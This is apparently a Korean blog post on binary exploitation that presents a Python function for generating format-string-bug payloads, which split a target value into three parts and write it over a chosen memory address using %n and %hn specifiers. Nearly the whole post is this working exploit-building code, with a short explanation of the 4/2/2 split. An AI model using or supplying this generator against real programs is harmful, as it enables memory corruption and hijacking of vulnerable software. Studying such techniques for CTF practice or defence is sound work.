[바이너리 익스플로잇] Format-String-Bug 페이로드 생성 함수 : FSB Payload Generator Fcuntion
2022. 2. 4. 23:13ㆍBinary Exploitation/Other
def gen_fsb_payload(addr, addr2, N):
a1 = str(hex(addr))
a1 = a1[2:len(a1)]
a3 = int(a1[:4],16)
a2 = int(a1[4:len(a1)-4],16)
a1 = int(a1[8:len(a1)],16)
print(f'{hex(a1)}\n{hex(a2)}\n{hex(a3)}\n')
def create_payload(A, B, fs):
rs_len = len(str(A))+ 5 + len(fs)
rs = f'%{A}d%XX${fs}' + 'P' * (8 - rs_len % 8)
fn = str(N+(len(rs)//8))
rs = rs.replace('XX',fn)
if int(fn) > 9 :
rs = rs + 'P'
return rs.encode() + p64(B)
return create_payload(a1,addr2,'n'), create_payload(a2,addr2+2,'hn'), create_payload(a3,addr2+4,'hn')
[addr2] 메모리 주소를 addr1 값으로 위조하는 페이로드를 3등분해서 생성함. 일반적인 12자리 메모리 주소를 겨냥해서 만들었기 때문에 4,2,2 등분으로 위조할 값을 나눔.
'Binary Exploitation > Other' 카테고리의 다른 글
[바이너리 익스플로잇] Insecure Return Value List : 안전하지 않은 반환 값 목록 (0) | 2022.02.09 |
---|